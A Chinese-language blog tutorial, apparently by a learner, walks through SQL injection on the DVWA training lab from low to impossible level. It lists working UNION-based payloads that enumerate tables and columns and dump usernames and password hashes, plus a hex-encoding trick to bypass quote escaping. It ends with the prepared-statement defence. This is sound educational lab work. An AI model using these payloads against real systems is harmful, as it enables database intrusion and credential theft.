Dvwa之sql注入low到impossible級別詳解

在這裏我所使用的的是Windows 10系統,dvwa+phpstudy_pro進行靶場練習,關於dvwa的介紹網上一搜一大把,在這裏就不加以介紹了,我還是把實踐內容介紹好吧!我從網上搜到各位大神操作步驟進行整理學習。

本文介紹SQL Injection的相關內容,後續內容會在之後的文章繼續介紹。

小白學習中......

Low

後端控制代碼

後端代碼解析

1、isset()函數在php中用來檢測變量是否設置,該函數返回的是布爾類型的值,即true/false

2、$_REQUEST用來收集HTML表單提交的數據,點擊‘submit’按鈕提交表單數據

3、query變量爲直接構造的sql查詢語句,沒有對用戶的輸入進行任何的過濾,導致sql注入的存在。

4、result通過mysqli_query()函數獲取數據庫查詢的結果集。die()函數表示連接數據庫失敗退出當前腳本。$GLOBALS["___mysqli_ston"]表示數據庫的連接語句

5、mysqli_fetch_assoc($result)從結果集中取出一行作爲關聯數組,即列名和值對應的鍵值對。

6、最後通過while判斷若有查詢結果且循環執行$row = mysqli_fetch_assoc( $result ),將結果集中每行結果對應的字段值賦值給相應的字段,並遍歷輸出。

7、mysqli_close() 函數關閉先前打開的數據庫連接。

8、$GLOBALS["___mysqli_ston"]表示數據庫的連接語句

9、被包圍在 <pre> 標籤 元素中的文本通常會保留空格和換行符。而文本也會呈現爲等寬字體。

10、or  (x or y)如果 x 和 y 有且僅有一個爲 true,則返回 true

具體瞭解菜鳥教程:PHP網站(https://www.runoob.com/php/php-tutorial.html)和MySQL網站(https://www.runoob.com/mysql/mysql-tutorial.html)

先確定正常和不正常的回顯

回顯,就是顯示正在執行的批處理命令及執行的結果等。

輸入1時,有回顯,是正常的

 

輸入“2”,回顯正常

 

輸入6時,沒有回顯。

從1~5是查詢成功的,而5以後,卻不顯示,說明有5個用戶

判斷是否存在注入點

我先嚐試數字型注入:“ ’ ”,“and 1=1”,“and 1=2”

首先輸入“ ’ ”,查詢報錯:

 

首先輸入“1 and 1=1”,查詢成功:

 

當輸入“1 and 1=2”的時候,查詢成功:

通過注入發現該注入爲數字型,而不是字符型

列字段

使用命令:1' or 1=1 order by 1 # 、 1' or 1=1 order by 2 # 、1' or 1=1 order by 3 # ,查詢成功。

#是註釋符號

當輸入“1' or 1=1 order by 1 #”時,查詢成功:

當輸入“1' or 1=1 order by2 #”時,查詢成功:

 

當輸入“1' or 1=1 order by 3 #”時,查詢報錯:

說明執行的sql查詢語句中只有兩個字段,即這裏的First name、Surname.

猜測表名

使用命令:1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#,查詢成功:

 

 

 

猜測列名

使用命令:1' union select 1, group_concat(column_name) from information_schema.columns  where table_schema=’users’#,查詢成功:

 

猜用戶密碼

使用命令:1' union select null, concat_ws(char(32,58,32),user,password) from users#,查詢成功:

 

判斷數據庫版本

使用命令:1' union select version(),2# ,版本信息大5.0,說明有數據庫,可爆出:information_schema  ,查詢成功:

獲取數據庫名稱、用戶

使用命令:1' union select database(),user()#,查詢成功:

爆出dvwa裏面的所有表名

使用命令:1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa'#,查詢成功:

爆出users表裏面的所有列名

使用命令:1' union select column_name,2 from information_schema.columns where table_name = 'users'#,查詢成功:

爆出use和password列裏面的數據

使用命令:1' union select user,password from users#  ,查詢成功: 但是這個命令需要MD5進行解密(https://pmd5.com/)

 

Medium

該級別需要burpsuite抓包來進行演練

後端控制代碼

可以看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號

\x00,\n,\r,\,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。

後端代碼解析

在low級別中,個別語句已經介紹,在這裏就不一一展示,在這裏展示一些low級別中未出現的。

1、$_POST接受表單以POST方式傳遞過來的變量

2、mysqli_real_escape_string() 函數轉義在 SQL 語句中使用的字符串中的特殊字符。

3、mysqli_error() 函數返回最近調用函數的最後一個錯誤描述。

4、is_object() 函數用於檢測變量是否是一個對象。如果指定變量爲對象,則返回 TRUE,否則返回 FALSE。

5、$_mysqli_res可能是其中的一個定義,有可能是res=result  這個是我自己的判斷

6、mysqli_connect_error() 函數返回上一次連接錯誤的錯誤描述。

界面

界面中有列表,該列表表示5個用戶和low其實是一樣的。

判斷是否存在注入點

抓包更改參數id爲1’ or 1=1 #,查詢報錯:

修改抓包參數id爲1 or 1=1 #,查詢成功:

 

說明存在數字型注入。(由於是數字型注入,服務器端的mysql_real_escape_string函數就形同虛設了,因爲數字型注入並不需要藉助引號)

 

查詢sql查詢語句中的字段數

抓包更改參數id爲1 order by 2 #,查詢成功:

抓包更改參數id爲1 order by 3 #,查詢報錯:

說明執行的sql查詢語句中只有兩個字段,即這裏的First name、Surname。

確定顯示的字段順序

抓包更改參數id爲1 union select 1,2 #,查詢成功:

獲取當前數據庫

抓包更改參數id爲1 union select 1,database() #,查詢成功:

說明當前的數據庫爲dvwa。

獲取數據庫中的表

抓包更改參數id爲1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功:

說明數據庫dvwa中一共有兩個表,guestbook與users。

獲取表中的字段名

抓包更改參數id爲1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’  #,查詢報錯:

這是因爲單引號被轉義了,變成了\’。

可以利用16進制進行繞過,抓包更改參數id爲1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查詢成功:

說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

爆出數據

抓包修改參數id爲1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,該操作依然需要MD5進行解密,查詢成功:

這裏就爆出users表中所有的用戶的user_id,first_name,last_name,password的數據。

High

後端控制代碼

可以看到,與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。

後端代碼解析

1、$_SESSION 存儲和取回 session 變量的正確方法是使用 PHP $_SESSION 變量:

2、LIMIT 1  limit N:返回N條記錄

3、is_null() 函數用於檢測變量是否爲 NULL。如果指定變量爲 NULL,則返回 TRUE,否則返回 FALSE。

漏洞利用

抓包更改參數id爲1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,該操作依然需要MD5解密,查詢成功:

 

需要特別提到的是,High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是爲了防止一般的sqlmap注入,因爲sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。

Impossible

後端控制代碼

Impossible級別的代碼採用了PDO技術,劃清了代碼與數據的界限,有效防禦SQL注入,同時只有返回的查詢結果數量爲一時,纔會成功輸出,這樣就有效預防了“脫褲”,Anti-CSRFtoken機制的加入了進一步提高了安全性。

後端代碼解析

1、$_GET收集來自表單中的值

2、user_token:用戶token

3、is_numeric()函數用於檢測變量是否爲數字或數字字符串。

4、prepare ()準備要執行的SQL語句並返回一個 PDOStatement 對象

5、bindParam () 綁定一個參數到指定的變量名

6、execute()方法返回對象

7、fetch是一種HTTP數據請求的方式,是XMLHttpRequest的一種替代方案。

8、rowCount — 返回受上一個 SQL 語句影響的行數

generateSessionToken()和CSRF相關聯,在這裏我也不清楚,我會在以後的時間繼續完成

總結

Low、medium和high這三個等級,實際上做法是一樣的,只是說他們的提交方式不同,low是get型,medium是post型,high是在一個頁面輸入,另外一個頁面顯示,但是是一樣的。不過網上說high級別的是防止一般sqlmap注入,而impossible則更加高級。

感謝網上的各位大神分享sql注入的操作步驟和學習心得

參考網站:https://www.e-learn.cn/content/qita/2319755

https://blog.csdn.net/wjy9649/article/details/78844382

https://www.freebuf.com/articles/web/120747.html

https://www.ucloud.cn/yun/32412.html

https://blog.csdn.net/csdn_Pade/article/details/82854764

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章